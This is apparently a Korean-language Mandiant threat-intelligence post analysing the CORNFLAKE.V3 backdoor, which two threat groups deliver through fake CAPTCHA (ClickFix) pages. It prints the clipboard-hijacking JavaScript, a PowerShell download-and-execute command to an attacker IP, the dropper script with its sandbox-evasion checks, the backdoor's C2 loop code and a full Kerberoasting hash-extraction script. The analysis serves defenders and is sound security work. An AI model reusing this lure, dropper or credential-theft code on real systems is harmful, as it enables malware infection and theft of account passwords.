콘텐츠로 이동하기
위협 인텔리전스

시리얼 킬러: CORNFLAKE.V3 백도어 분석

2025년 8월 20일
Mandiant

Mandiant Incident Response

Investigate, contain, and remediate security incidents.

Learn more

해당 블로그의 원문은 2025년 8월 21일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Marco Galli


Frontline Bulletin 시리즈에 오신 것을 환영합니다. 

맨디언트 위협 방어팀이 직접 전해드리는 'Frontline Bulletin' 시리즈는 지금 이 순간 전 세계에서 가장 흥미로운 침해 사례에 대한 최신 정보를 제공하여, 우리가 관찰하는 가장 중대한 위협을 커뮤니티가 이해하고 대응할 수 있도록 돕습니다. 이번 보고서에서는 두 위협 그룹인 UNC5518과 UNC5774가 협력하여 CORNFLAKE.V3를 배포한 감염 사례를 상세히 분석합니다.

소개

2024년 6월부터 맨디언트 위협 방어팀은 금전적 동기를 가진 위협 그룹인 UNC5518의 활동을 추적해 왔습니다. 이 그룹은 합법적인 웹사이트를 해킹하여 가짜 CAPTCHA 인증 페이지를 띄웁니다. ClickFix라고 알려진 이 기만적인 기법은 웹사이트 방문자를 유인하여 다운로더 스크립트를 실행하게 함으로써 악성코드 감염 사슬을 시작하게 합니다. UNC5518은 이들이 확보한 접근 권한을 추가 악성코드 배포에 사용하는 고객 또는 제휴 파트너들과 협력하는 것으로 보입니다.

초기 침투와 가짜 CAPTCHA 배포는 UNC5518이 주도하지만, 전달되는 페이로드(payload)는 다른 위협 그룹의 것입니다. UNC5518은 '서비스형 접근(access-as-a-service)' 역할을 하는 다운로더 스크립트를 사용합니다. 다음을 포함하여 여러 위협 행위자들이 UNC5518이 제공하는 접근 권한을 활용하는 것이 관찰되었습니다.

  • UNC5774: 다양한 후속 페이로드를 배포하기 위해 CORNFLAKE 백도어를 사용하는 것으로 알려진 금전적 동기의 그룹입니다.

  • UNC4108: 동기는 알려지지 않았지만, 파워셸(PowerShell)을 이용해 VOLTMARKER 및 NetSupport RAT와 같은 다양한 도구를 배포하고 정찰 활동을 수행하는 것이 관찰된 위협 그룹입니다.

이 블로그 게시물은 UNC5518이 CORNFLAKE.V3 악성코드를 전달하는 다운로더를 배포한 캠페인을 맨디언트가 확인한 내용을 상세히 다룹니다. 맨디언트는 CORNFLAKE.V3 샘플이 UNC5774의 소행이라고 판단했습니다. UNC5774는 UNC5518의 '서비스형 접근'을 표적 환경으로 진입하는 진입 벡터로 활용하는 별개의 금전적 동기 그룹입니다.

CORNFLAKE 패밀리

CORNFLAKE.V3는 HTTP를 통해 페이로드를 받아오는 백도어입니다. 자바스크립트 또는 PHP(PHP 변종)로 작성된 두 가지 변종이 관찰되었습니다. 지원되는 페이로드 유형에는 셸 명령어, 실행 파일, 그리고 동적 연결 라이브러리(DLL)가 포함됩니다. 다운로드된 페이로드는 디스크에 기록되어 실행됩니다. CORNFLAKE.V3는 기본적인 시스템 정보를 수집하여 HTTP를 통해 원격 서버로 전송합니다. CORNFLAKE.V3는 또한 클라우드플레어 터널(Cloudflare Tunnels)을 악용해 원격 서버로 트래픽을 프록시하는 것도 관찰되었습니다.

CORNFLAKE.V3는 CORNFLAKE.V2의 업데이트된 버전으로, 코드베이스의 상당 부분을 공유합니다. 단순히 다운로더 기능만 했던 V2와 달리, V3는 레지스트리 Run 키를 통해 호스트에 영구적으로 상주하며 추가적인 페이로드 유형을 지원합니다.

초기 CORNFLAKE 악성코드는 C언어로 작성되어 이후 버전과 상당히 달랐습니다. 이 첫 번째 변종은 다운로더 역할만 수행하며, 기본적인 시스템 정보를 수집하고 TCP를 통해 원격 서버로 전송했습니다. 이후 페이로드를 다운로드하고 실행했습니다.

악성코드 패밀리

CORNFLAKE

CORNFLAKE.V2

CORNFLAKE.V3

개발 언어

C

JS

JS 또는 PHP

유형

다운로더

다운로더

백도어

C2 통신방식

TCP socket (XOR 인코딩)

HTTP (XOR 인코딩)

HTTP (XOR 인코딩)

페이로드 유형

DLL

DLL,EXE,JS,BAT

DLL,EXE,JS,BAT,PS

지속성

없음

없음

레지스트리 Run 키

표 1: CORNFLAKE 악성코드 변종 비교표
https://storage.googleapis.com/gweb-cloudblog-publish/images/cornflake-fig1.max-2100x2100.jpg

그림 1: 관찰된 CORNFLAKE.V3 (Node.js) 공격 라이프사이클

초기 단서

Mandiant Threat Defense는 호스트에서 발견된 의심스러운 PowerShell 활동에 대응하여 CORNFLAKE.V3 백도어가 배포된 사실을 확인했습니다. 

Mandiant는 PowerShell 스크립트가 Windows+R 단축키를 사용한 '실행(Run)' 명령을 통해 실행된 것을 관찰했습니다. 이 활동의 증거는 다음 페이로드를 다운로드하고 실행하는 HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 레지스트리 키에서 발견되었습니다.

Name: a
Value: powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1

RunMRU 레지스트리 키는 Windows Run(단축키 Windows+R) 대화 상자에 입력된 명령어 기록을 저장합니다.

Windows+R 단축키를 사용한 악성 스크립트 실행은 ClickFix 유인 페이지에 당한 피해자들에게서 흔히 나타납니다. 일반적으로 사용자들은 무해한 탐색 과정에서 SEO 중독(Poisoning)이나 악성 광고를 이용하는 검색 결과와 상호 작용하면서 이러한 페이지에 접속하게 됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/cornflake-fig2.max-1100x1100.png

그림 2: 공격자가 제어하는 웹페이지의 가짜 CAPTCHA 인증(ClickFix)

그림 2에서 볼 수 있듯이, 사용자가 이미지를 클릭했을 때 악성 웹페이지가 자동으로 클립보드에 숨겨진 스크립트를 복사하여 Windows 실행(Run) 대화 상자에 붙여넣도록 유도했습니다. 이 웹페이지는 다음과 같은 JavaScript 코드를 사용하여 이 작업을 수행했습니다.

// An image with the reCAPTCHA logo is displayed on the webpage
<div class="c" id="j">
  <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" 
alt="reCAPTCHA Logo">
  <span>I'm not a robot</span>
</div>

// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1";

// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){ 
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");

클립보드에 복사된 PowerShell 명령어는 원격 서버 138.199.161[.]141:8080/$u에서 스크립트를 다운로드하고 실행하도록 설계되었습니다. 여기서 $u는 다운로드 시점의 UNIX epoch 타임스탬프를 나타냅니다. 

결과적으로, PowerShell 프로세스는 다음 HTTP GET 요청에 표시된 바와 같이 1742214432(UNIX epoch 타임스탬프) URL 경로를 통해 앞서 언급된 IP 주소와 포트에 연결합니다.

GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.\]141:8080
Connection: Keep-Alive

다음은 CORNFLAKE.V3 침해 사고 조사 중, 공격자가 제어하는 서버에서 복구된 PowerShell 드로퍼 스크립트로 1742214432와 유사합니다.

# Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object 
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
    exit 0;
}

# Get memory info for evasion check.
$TotalMemoryGb = 
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb = 
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB 
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb 
# Exit if total memory is low or calculated "used" memory is low 
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
    exit 0
}
# Exit if computer name matches default pattern 
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
    exit 0
}

# Pause execution briefly.
sleep 1

# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")

# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile

# Try block for file extraction using COM objects.
try {
	$Shell = New-Object -ComObject Shell.Application
	$ZIP = $Shell.NameSpace($ZipFile)
	$Destination = $Shell.NameSpace($DestinationFolder)
	# Copy/extract contents silently.
	$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
	exit 0
}

# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, 
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample>
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")

# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" 
-WindowStyle Hidden

PowerShell 드로퍼의 실행에는 여러 단계가 포함됩니다.

  • 가상 머신 내에서 실행 중인지 확인하고, 만약 그렇다면 종료합니다. 

  • URL hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip에서 HTTPS를 통해 Node.js를 다운로드하고, 파일을 %TEMP%\downloaded.zip에 저장한 후, 그 압축을 %APPDATA%\node-v22.11.0-win-x64 디렉터리에 풉니다. 
  • 포함된 CORNFLAKE.V3 페이로드를 Base64 디코딩하고 %APPDATA%\node-v22.11.0-win-x64\node.exe -e “<base64_decoded_CORNFLAKE.v3>” 명령을 통해 실행합니다.

  • 포함된 CORNFLAKE.V3 페이로드를 Base64 디코딩하고, %APPDATA%\node-v22.11.0-win-x64\node.exe -e "<base64_decoded_CORNFLAKE.v3>" 명령을 통해 실행합니다.

PowerShell 드로퍼의 안티-VM(가상 머신 회피) 검사에는 낮은 시스템 리소스(총 메모리 4GB 미만 또는 사용 메모리 1.5GB 미만) 확인과, 대상 시스템의 컴퓨터 이름이 정규 표현식 DESKTOP-S*와 일치하는지 또는 대상 시스템 제조업체가 QEMU인지 확인하는 과정이 포함됩니다. 

드로퍼가 실행된 결과, nodejs[.]org 도메인에 대한 DNS 쿼리가 발생한 후, downloaded.zip이라는 아카이브(SHA256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236)가 다운로드되었습니다. 이 아카이브에는 실행 파일 node.exe를 포함한 Node.js 런타임 환경이 들어 있으며, 이는 %APPDATA%\node-v22.11.0-win-x64\에 압축 해제되었습니다. Node.js 환경은 웹 브라우저 밖에서 JavaScript 코드를 실행할 수 있게 해줍니다.

압축 해제된 %APPDATA%\node-v22.11.0-win-x64\node.exe 바이너리는 PowerShell에 의해 -e 인자와 함께 실행되었고, 그 뒤에 CORNFLAKE.V3 백도어 샘플인 큰 Node.js 스크립트가 따라왔습니다.

Mandiant는 CORNFLAKE.V3 샘플에서 다음과 같은 활동이 시작된 것을 확인했습니다.

  • 호스트 및 AD(Active Directory) 기반 정찰

  • 레지스트리 Run 키를 통한 지속성 확보

  • Kerberoasting을 통한 자격 증명 탈취 시도

조사 중에 관찰된 프로세스 트리는 다음과 같습니다.

explorer.exe 
     ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
          ↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe 
-e "{CORNFLAKE.V3}" 
               ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-c "{Initial check and System Information Collection}"
                    ↳ C:\Windows\System32\ARP.EXE -a
                    ↳ C:\Windows\System32\chcp.com 65001
                    ↳ C:\Windows\System32\systeminfo.exe 
                    ↳ C:\Windows\System32\tasklist.exe /svc
               ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where 
processid=16004 get commandline"
               ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}"
               ↳ c:\windows\system32\cmd.exe /d /s /c 
"{Active Directory Reconnaissance}"
               ↳ c:\windows\system32\cmd.exe /d /s /c "reg add 
{ChromeUpdater as Persistence}" 

CORNFLAKE.V3 분석

우리의 조사 과정에서 복구된 CORNFLAKE.V3 샘플은 완전히 난독화되지 않아 정적 분석을 통해 그 기능을 파악할 수 있었습니다. 이 섹션에서는 멀웨어의 주요 기능에 대해 설명합니다.

초기 점검 및 시스템 정보 수집

if (process.argv[1] !== undefined && process.argv[2] === undefined) {
    const child = spawn(process.argv[0], [process.argv[1], '1'], {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
    });
    child.unref();
    process.exit(0);
}

스크립트가 처음 실행될 때, node.exe 프로세스의 명령줄 인수를 확인합니다. 이 바이너리는 원래 단일 인자(스크립트 자체)로 생성되므로, 이 검사를 통해 스크립트는 인자로 1이 추가된 자식 프로세스를 생성한 후 원래의 node.exe는 종료됩니다. 자식 프로세스가 실행되면 인자가 세 개가 되므로 이 초기 검사를 통과하고 스크립트의 나머지 부분을 실행합니다. 

이 검사를 통해 멀웨어는 지속성 메커니즘으로 인해 여러 번 실행되더라도 스크립트의 인스턴스가 한 번에 하나만 실행되도록 보장합니다. 

이후 멀웨어는 다음 코드를 사용하여 시스템 정보를 수집하려고 시도합니다.

let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' 
+ ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name 
-match '(?i)SYSTEM') { \'Runas: System\' } elseif 
(([Security.Principal.WindowsPrincipal] 
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator)) 
{ \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo 
\'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | 
Select-Object -Property Name, DisplayName | Format-List ; 
echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table 
-AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 
'powershell.exe', windowsHide: true });

commandRet = Buffer.from(cmd, 'utf-8');

sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);

이 코드 블록은 execSync를 사용하여 일련의 PowerShell 명령어(PowerShell 실패 시에는 대체 CMD 명령어)를 실행합니다. 이 명령어는 스크립트 버전, 사용자 권한 수준(System, Admin, User), 표준 systeminfo 출력, 실행 중인 작업/서비스(tasklist /svc), 서비스 세부 정보(Get-Service), 사용 가능한 드라이브(Get-PSDrive), 그리고 ARP 테이블(arp -a)을 수집합니다.

C2 초기화

몇 가지 논리적 상수와 C2(Command and Control) 서버 IP 주소를 설정한 후, 멀웨어는 mainloop 함수로 진입합니다. 이 스크립트는 hostshostsIP라는 두 개의 별도 목록을 지원하며, 이 두 목록 모두 C2 통신 로직에 사용됩니다. 처음에는 mainloop 함수가 hosts 목록의 무작위 호스트에 연결을 시도하지만, 실패할 경우 대신 hostsIP 목록의 무작위 IP 주소에 연결을 시도합니다. 연결이 성공적으로 수립되면 main 함수가 호출됩니다.

// Define lists of hostnames and IP addresses for the command 
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];

// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;

// Main loop to continuously communicate with the command 
and control server.
async function mainloop() {
    let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
    let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];

    while (true) {
        // Wait for the specified delay.
        await new Promise((resolve) => setTimeout(resolve, delay));

        try {
            // Attempt to communicate with the command and control server.
            if (useIp < 200) {
                await main(toHost, PORT_IP);
                useIp = 0;
            } else {
                await main(toIp, PORT_IP);
                useIp++;
                if (useIp >= 210) useIp = 0;
            }
        } catch (error) {
            // Handle errors during communication.
            console.error('Error with HTTP request:', error.message);
            toHost = hosts[Math.floor(Math.random() * 1000) % 
hosts.length];
            toIp = hostsIp[Math.floor(Math.random() * 1000) % 
hostsIp.length];
            useIp++;
            delay = 1000 * 10;
            continue;
        }

        // Set the delay for the next attempt.
        delay = 1000 * 60 * 5;
    }
}

C2 통신

main이라고 명명된 이 함수는 주요 C2(Command and Control) 통신 로직을 처리합니다. 이 함수는 호스트 및 포트 번호를 인수로 받아 C2 서버로 전송할 데이터를 구성합니다. 멀웨어는 감염된 시스템 정보와 마지막으로 실행된 명령어의 출력 내용을 담아 /init1234 경로로 초기 POST 요청을 보냅니다. 이 요청의 내용은 enc 함수를 통해 XOR 암호화됩니다.

C2 서버는 이 요청에 대해 다음과 같은 두 가지 응답 중 하나를 반환할 수 있습니다.

  • ooff - 프로세스가 종료됩니다.

  • atst - 호스트에 지속성을 확보하는 atst 함수가 호출됩니다.

만약 응답이 위 두 값과 일치하지 않으면, 멀웨어는 해당 응답을 페이로드로 간주하고, XOR 복호화한 후 응답의 마지막 바이트를 파싱합니다. 프로그램이 허용하는 값은 다음과 같습니다.

명령어

유형

설명

0

EXE

수신된 페이로드는 %APPDATA%\<무작위_8자>\에 저장된 후 child_process.spawn() 함수를 사용하여 실행됩니다.

1

DLL

수신된 페이로드는 %APPDATA%\<무작위_8자>\에 저장된 후 rundll32.exe의 인자로 child_process.spawn() 함수를 사용하여 실행됩니다.

2

JS

수신된 페이로드는 메모리에서 node.exe의 인자로 child_process.spawn() 함수를 사용하여 실행됩니다.

3

CMD

수신된 페이로드는 메모리에서 cmd.exe의 인자로 child_process.spawn() 함수를 사용하여 실행됩니다. 추가적으로 출력 결과는 LastCmd 변수에 저장되어 다음 요청 시 C2 서버로 전송됩니다.

4

Other

페이로드는 %APPDATA%\<무작위_8자>\에 저장됩니다..

표 2: CORNFLAKE.V3가 지원하는 패이로드

지속성

main 함수에 의해 호출되는 atst 함수는 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 아래에 ChromeUpdater라는 이름의 새 레지스트리 실행 키를 생성하여 호스트에 지속성을 확보하려고 시도합니다.

멀웨어는 wmic.exe를 사용하여 현재 실행 중인 node.exe 프로세스의 명령줄 인자를 가져옵니다. 만약 node.exe가 멀웨어가 초기에 실행하는 방식과 같이 -e 인자로 시작되었다면, 스크립트는 -e 다음의 인자, 즉 전체 악성 스크립트를 추출합니다. 이 스크립트는 Node.js 설치 디렉터리의 <무작위_8자>.log 파일에 기록되고 그 경로는 path2file 변수에 저장됩니다.

만약 node.exe가 (지속성 단계에서처럼) 파일 경로를 인자로 실행되었다면, 해당 파일 경로는 추출되어 path2file 변수에 저장됩니다.

path2file 변수는 새로 생성된 ChromeUpdater 레지스트리 키에 node.exe의 인자로 설정됩니다. 이를 통해 멀웨어는 사용자 로그인 시 자동으로 실행될 수 있습니다.

실행된 페이로드

main 함수에서 관찰된 바와 같이, 이 샘플은 C2 서버로부터 다양한 유형의 페이로드를 수신하고 실행할 수 있습니다. 이 섹션에서는 조사 중에 관찰된 두 가지 페이로드에 대해 설명합니다.

Active Directory 정찰

호스트에서 처음 관찰된 페이로드는 정찰 명령어를 포함하는 배치 스크립트였습니다. 이 스크립트는 먼저 호스트가 도메인에 가입되어 있는지 확인하며, 이 조건에 따라 어떤 유형의 정찰을 수행할지 결정합니다.

Domain 가입 시
  • Active Directory 컴퓨터 수 조회: Active Directory에 연결하여 도메인에 등록된 전체 컴퓨터 객체 수를 계산합니다.
  • 사용자 컨텍스트 상세 정보 표시: whoami /all을 실행하여 현재 사용자의 SID(보안 식별자), 도메인 및 로컬 그룹 멤버십, 할당된 보안 권한을 표시합니다.
  • 도메인 신롸 열거: nltest /domain_trusts를 실행하여 현재 컴퓨터의 도메인이 신뢰 관계를 맺고 있는 모든 도메인(인바운드 및 아웃바운드)을 나열합니다.
  • Domain Controllers 목록: nltest /dclist :를 실행하여 컴퓨터의 현재 도메인에서 사용 가능한 도메인 컨트롤러(DC)를 찾아 나열합니다.
  • Service Principal Names (SPNs) 조회: setspn -T <UserDomain> -Q */*를 실행하여 사용자의 로그온 도메인에 등록된 모든 SPN을 질의한 다음, 결과를 필터링하여 잠재적으로 사용자 계정과 관련된 SPN(CN=...Users로 시작하는 라인)을 특별히 강조합니다.
도메인 미가입 시
  • 로컬 그룹 열거: Get-LocalGroup을 사용하여 머신에 로컬로 정의된 모든 보안 그룹을 나열합니다.
  • 로컬 그룹 멤버 열거: 발견된 각 로컬 그룹에 대해 Get-LocalGroupMember를 사용하여 해당 그룹의 멤버인 계정(사용자 또는 다른 그룹)을 나열하고, 이들의 이름과 PrincipalSource(예: Local, MicrosoftAccount)를 표시합니다.

Kerberoasting

두 번째로 실행된 스크립트는 Kerberoasting을 통해 자격 증명을 탈취하려는 배치 스크립트입니다. 이 스크립트는 Active Directory에서 SPN이 구성된 사용자 계정(종종 사용자 자격 증명을 사용하는 서비스 계정을 나타냄)을 질의합니다. 발견된 각 계정에 대해 Kerberos 서비스 티켓을 요청하고, 티켓에서 추출된 암호 해시를 특정 형식으로 만듭니다. 이 해시는 C2 서버로 유출되며, 공격자는 이를 사용하여 비밀번호를 크랙하려고 시도할 수 있습니다.

$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
    $f = $e.GetDirectoryEntry();
    $g = $f.samAccountName;
    if ($g  - ne 'krbtgt')  {
        Start - Sleep  - Seconds (Get - Random  - Minimum 1  
- Maximum 11);
        foreach($h in $f.servicePrincipalName) {
            $i = $null;
            try {
                $i = New - 
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken  
- ArgumentList $h;
            } catch {}
            if ($i  - ne $null)  {
                $j = $i.GetRequest();
                if ($j)  {
                    $k = [System.BitConverter]::ToString($j) - replace'-';
                    [System.Collections.ArrayList]$l = 
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
                    $l.RemoveAt($l.Count - 1);
                    $m = $l - join'A48201';
                    try {
                        $m = $m.Insert(32, '$');
                        $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
                        Write - Host $n;
                        break;
                    } catch {}}}}}}

PHP 변형

Mandiant Threat Defense는 최근 기존 Node.js 기반 버전과 유사한 기능을 가진 새로운 PHP 기반 CORNFLAKE.V3 변형을 발견했습니다.

이 버전은 악성 ClickFix 유인 페이지와의 상호 작용으로 인해 메모리 내 스크립트가 실행되면서 드롭되었습니다. 

스크립트는 windows.php[.]net에서 PHP 패키지를 다운로드하여 php.zip으로 디스크에 저장하고, 압축을 풀어 C:\Users\<User>\AppData\Roaming\php\ 디렉터리에 내용을 추출합니다. CORNFLAKE.V3 PHP 샘플은 동일한 디렉터리에 드롭된 config.cfg 파일에 포함되어 있으며, 다음 명령줄 인자로 실행되었습니다.

"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d 
extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1

이 변형은 호스트에 지속성을 유지하기 위해 Node.js 버전에서 사용된 고정된 ChromeUpdater 문자열 대신, %APPDATA% 또는 %LOCALAPPDATA% 내에서 무작위로 선택된 디렉터리의 이름을 딴 레지스트리 실행 키를 활용합니다. C2 서버와 통신하기 위해 정적인 /init1234 경로와 달리, 각 요청마다 고유한 경로를 생성합니다.

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1  
Host: varying-rentals-calgary-predict.trycloudflare[.]com  
Connection: close  
Content-Length: 39185  
Content-type: application/octet-stream

Node.js 버전과 마찬가지로, 수신된 페이로드의 마지막 바이트가 페이로드 유형을 결정하지만, PHP 버전에서는 그 값이 다릅니다.

명령어

유형

참고

0

EXE

복호화된 내용은 사용자 %APPDATA% 폴더 내 무작위 디렉터리에 생성된 임시 실행 파일(<무작위_8자>.exe)로 저장되고, PowerShell을 통해 숨겨진 프로세스로 실행됩니다.

1

DLL

복호화된 내용은 사용자 %APPDATA% 폴더 내 임시 디렉터리에 <무작위_8자>.png 파일로 저장됩니다. 이후 rundll32.exe가 호출되어 다운로드된 파일을 실행합니다.

2

JS

복호화된 내용은 사용자 %APPDATA% 폴더 내 임시 디렉터리에 <무작위_8자>.jpg 파일로 저장됩니다. 스크립트는 Node.js 설치 여부를 확인하려고 시도합니다. Node.js가 없거나 하드코딩된 URL(http://nodejs[.]org/dist/v21.7.3/node-v21.7.3-win-x64.zip)에서 설치에 실패하면 오류 메시지가 출력됩니다. Node.js가 사용 가능하면, 다운로드된 JavaScript(.jpg) 파일이 node.exe를 사용하여 실행됩니다.

3

CMD

복호화된 데이터는 제공된 명령어 문자열로서 cmd.exe 또는 powershell.exe를 통해 실행됩니다.

4

ACTIVE

이 명령어는 active_cnt($qRunq 전역 변수에 저장됨)를 C2 서버에 보고합니다. 이는 임플란트의 하트비트 또는 활동 지표 역할을 하는 것으로 보입니다.

5

AUTORUN

멀웨어는 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run에 스크립트의 PHP 바이너리와 자체 경로를 가리키는 레지스트리 항목을 추가하여 지속성을 확보하려고 시도합니다.

6

OFF

이 명령어는 exit(0)을 직접 호출하여 PHP 스크립트의 실행을 종료합니다.

 

기타

일치하는 특정 명령어가 없으면, 수신된 데이터는 사용자 %APPDATA% 폴더 내 임시 디렉터리에 .txt 파일로 저장됩니다.

Table 3: CORNFLAKE.V3 PHP 변형이 지원하는 페이로드

Javascript 페이로드 실행 기능은 JS 명령어 내에 Node.js 런타임 환경을 다운로드하는 기능을 구현함으로써 유지되었습니다. 다른 주목할 만한 변경 사항으로는 탐지를 회피하기 위해 DLL 및 JS 페이로드 파일 확장자를 .png.jpg로 변경한 점과 ACTIVEAUTORUN 명령어를 추가한 점이 있습니다. 하지만 Node.js에서 PHP로 전환되었음에도 불구하고 백도어의 주요 기능은 변하지 않았습니다. 

이러한 변경 사항들은 위협 행위자가 진화하는 보안 조치에 맞서 멀웨어를 계속해서 개선하려는 노력을 보여줍니다.

실행된 페이로드

Active Directory 정찰

Node.js 변형에서 발견된 것과 유사한 cmd.exe 정찰 페이로드가 C2 서버로부터 수신되어 실행되었습니다. 이 스크립트는 해당 머신이 Active Directory 도메인의 일부인지 확인하고, PowerShell을 사용하여 다음 정보를 수집합니다.

Domain 가입 시
  • AD 내 전체 컴퓨터 계정 수

  • 도메인 신뢰 관계

  • 모든 도메인 컨트롤러 목록

  • Domain Admins 그룹 멤버

  • 서비스 주체 이름(SPN)이 구성된 사용자 계정

  • 모든 로컬 그룹 및 그 멤버

  • 현재 사용자 이름, SID, 로컬 그룹 멤버십 및 보안 권한

도메인 미가입 시
  • 모든 로컬 그룹 및 그 멤버

  • 현재 사용자 이름, SID, 로컬 그룹 멤버십 및 보안 권한

WINDYTWIST.SEA 백도어

C2 서버와의 상호 작용 후, DLL 페이로드(명령어 1에 해당)가 수신되어 C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png로 디스크에 저장된 후 rundll32를 사용하여 실행되었습니다. 이 파일은 다음 C2 서버로 구성된 WINDYTWIST.SEA 백도어 임플란트였습니다.

tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443

이 임플란트는 TCP 트래픽 릴레이, 리버스 셸 제공, 명령어 실행, 그리고 자체 삭제를 지원하는 자바 기반의 WINDYTWIST 백도어의 C 버전입니다. 이전 침해 사례에서 Mandiant는 WINDYTWIST.SEA 샘플이 감염된 머신 네트워크에서 측면 이동(lateral movement)을 시도하는 것을 관찰했습니다.

감염 중에 관찰된 프로세스 트리는 다음과 같습니다.

explorer.exe
    ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; & 
([scriptblock]::Create((Get-Clipboard) -join 
(""+[System.Environment]::NewLine)))"
       ↳ C:\WINDOWS\system32\clip.exe
       ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
       ↳ C:\WINDOWS\system32\systeminfo.exe
       ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip 
-d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 
1 {CORNFLAKE.V3}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "reg add 
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
/v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>" 
\"<script_path>"" /f"
          ↳ powershell.exe
             ↳ C:\Windows\System32\rundll32.exe 
"{WINDYTWIST.SEA Backdoor}" start

결론

